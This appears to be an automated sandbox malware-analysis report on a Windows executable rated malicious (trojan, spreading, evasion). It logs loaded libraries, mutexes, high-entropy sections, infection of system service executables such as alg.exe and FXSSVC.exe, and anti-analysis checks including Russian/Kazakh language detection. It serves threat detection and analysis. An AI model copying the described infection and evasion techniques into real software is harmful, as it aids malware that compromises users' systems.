Source: BzK8rQh2O3.exe, 00000000.00000003.1765571034.0000000004FE3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs BzK8rQh2O3.exe
Source: BzK8rQh2O3.exe, 00000000.00000003.1709109485.0000000004000000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamearmsvc.exeN vs BzK8rQh2O3.exe
Source: BzK8rQh2O3.exe, 00000000.00000003.1763982056.0000000004FE3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs BzK8rQh2O3.exe
Source: BzK8rQh2O3.exe, 00000000.00000003.1714010031.0000000004000000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameALG.exej% vs BzK8rQh2O3.exe
Source: BzK8rQh2O3.exe, 00000000.00000003.1742812858.00000000041E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDiagnosticsHub.StandardCollector.Service.exeD vs BzK8rQh2O3.exe
Source: BzK8rQh2O3.exe, 00000000.00000003.1764711070.000000000518D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs BzK8rQh2O3.exe

Source: unknown

Driver loaded: C:\Windows\System32\drivers\AppVStrm.sys

Source: BzK8rQh2O3.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: BzK8rQh2O3.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: BzK8rQh2O3.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: classification engine

Classification label: mal100.spre.troj.expl.evad.winEXE@9/11@7/2

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

File created: C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Jump to behavior

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe

File created: C:\Users\user\AppData\Roaming\8227aa636967b89b.bin

Jump to behavior

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-8227aa636967b89b-inf
Source: C:\Windows\System32\AppVClient.exe	Mutant created: \BaseNamedObjects\Global\Multiarch.m0yv-8227aa636967b89b9ea72c54-b
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-8227aa636967b89b7d8e3ee9-b

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe

File created: C:\Users\user\AppData\Local\Temp\aut9C87.tmp

Jump to behavior

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BzK8rQh2O3.exe	Virustotal: Detection: 75%
Source: BzK8rQh2O3.exe	ReversingLabs: Detection: 86%

Source: unknown	Process created: C:\Users\user\Desktop\BzK8rQh2O3.exe "C:\Users\user\Desktop\BzK8rQh2O3.exe"
Source: unknown	Process created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Source: unknown	Process created: C:\Windows\System32\alg.exe C:\Windows\System32\alg.exe
Source: unknown	Process created: C:\Windows\System32\AppVClient.exe C:\Windows\system32\AppVClient.exe
Source: unknown	Process created: C:\Windows\System32\FXSSVC.exe C:\Windows\system32\fxssvc.exe
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\BzK8rQh2O3.exe"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Source: unknown	Process created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\BzK8rQh2O3.exe"	Jump to behavior

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: appvpolicy.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: appmanagementconfiguration.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: tapi32.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: fxstiff.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: fxsresm.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: ualapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Windows\System32\AppVClient.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{52BC3999-6E52-4E8A-87C4-0A2A0CC359B1}\InProcServer32

Jump to behavior

Source: BzK8rQh2O3.exe

Static file information: File size 1801216 > 1048576

Source: BzK8rQh2O3.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: BzK8rQh2O3.exe, 00000000.00000003.1709037874.0000000004000000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe.0.dr
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdb source: BzK8rQh2O3.exe, 00000000.00000003.1742039738.00000000041E0000.00000004.00001000.00020000.00000000.sdmp, DiagnosticsHub.StandardCollector.Service.exe.0.dr
Source:	Binary string: AppVClient.pdbGCTL source: AppVClient.exe.0.dr
Source:	Binary string: ALG.pdbGCTL source: BzK8rQh2O3.exe, 00000000.00000003.1713887280.0000000004000000.00000004.00001000.00020000.00000000.sdmp, alg.exe.0.dr
Source:	Binary string: AppVClient.pdb source: AppVClient.exe.0.dr
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: BzK8rQh2O3.exe, 00000000.00000003.1763734434.0000000004250000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdbGCTL source: BzK8rQh2O3.exe, 00000000.00000003.1742039738.00000000041E0000.00000004.00001000.00020000.00000000.sdmp, DiagnosticsHub.StandardCollector.Service.exe.0.dr
Source:	Binary string: PresentationFontCache.pdb source: BzK8rQh2O3.exe, 00000000.00000003.1763734434.0000000004250000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: FXSSVC.pdbGCTL source: FXSSVC.exe.0.dr
Source:	Binary string: wntdll.pdbUGP source: BzK8rQh2O3.exe, 00000000.00000003.1765571034.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1764711070.0000000005060000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2005075194.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1943955685.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1941382138.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BzK8rQh2O3.exe, 00000000.00000003.1765571034.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1764711070.0000000005060000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 0000000A.00000002.2005075194.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1943955685.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1941382138.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\b\s\w\ir\cache\builder\src\out\Release_x64\elevation_service.exe.pdb source: elevation_service.exe.0.dr
Source:	Binary string: FXSSVC.pdb source: FXSSVC.exe.0.dr
Source:	Binary string: ALG.pdb source: BzK8rQh2O3.exe, 00000000.00000003.1713887280.0000000004000000.00000004.00001000.00020000.00000000.sdmp, alg.exe.0.dr

Source: alg.exe.0.dr

Static PE information: 0xF67E8745 [Tue Jan 18 10:28:21 2101 UTC]

Source: armsvc.exe.0.dr	Static PE information: section name: .didat
Source: alg.exe.0.dr	Static PE information: section name: .didat
Source: FXSSVC.exe.0.dr	Static PE information: section name: .didat
Source: elevation_service.exe.0.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe.0.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe.0.dr	Static PE information: section name: .retplne
Source: elevation_service.exe.0.dr	Static PE information: section name: _RDATA
Source: elevation_service.exe.0.dr	Static PE information: section name: malloc_h

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002D2055 push edx; iretd	10_2_002D2056
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002D18A1 push edx; iretd	10_2_002D18A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002EF9B8 push 13D671DEh; iretd	10_2_002EF9BD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002DD9B6 push FFFFFFEBh; iretd	10_2_002DD9BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002D218B push ebp; iretd	10_2_002D2192
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002EAA30 push edx; retf	10_2_002EAA31
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002F4281 push ds; retf	10_2_002F4287
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002E92F1 push edx; ret	10_2_002E92F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002F5433 push edi; ret	10_2_002F5483
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002D3570 push eax; ret	10_2_002D3572
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002F3D54 push 00000063h; retf	10_2_002F3D83
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002E4E8B pushfd ; iretd	10_2_002E4E91
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002DD7CA push ecx; ret	10_2_002DD7CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002DA7C3 push edi; ret	10_2_002DA7F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F309AD push ecx; mov dword ptr [esp], ecx	10_2_02F309B6

Source: BzK8rQh2O3.exe	Static PE information: section name: .reloc entropy: 7.938057904352507
Source: AppVClient.exe.0.dr	Static PE information: section name: .reloc entropy: 7.943025276952371
Source: FXSSVC.exe.0.dr	Static PE information: section name: .reloc entropy: 7.949291863502323
Source: elevation_service.exe.0.dr	Static PE information: section name: .reloc entropy: 7.950794764933596

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\AppVClient.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\8227aa636967b89b.bin

Jump to behavior

Drops executable to a common third party application directory

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	System file written: C:\Windows\System32\AppVClient.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to behavior

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to dropped file

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Contains functionality to behave differently if execute on a Russian/Kazak computer

Source: C:\Windows\System32\AppVClient.exe	Code function: 6_2_007452A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	6_2_007452A0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_009952A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	11_2_009952A0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_022452A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	12_2_022452A0

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe

API/Special instruction interceptor: Address: D92074

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 10_2_02FAD1C0 rdtsc

10_2_02FAD1C0

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Dropped PE file which has not been started: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe			Jump to dropped file
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe			Jump to dropped file

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_11-5783
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_12-5485
Source: C:\Windows\System32\AppVClient.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_6-5679

Source: C:\Windows\SysWOW64\svchost.exe

API coverage: 0.7 %

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe TID: 3632	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7164	Thread sleep time: -30000s >= -30000s			Jump to behavior

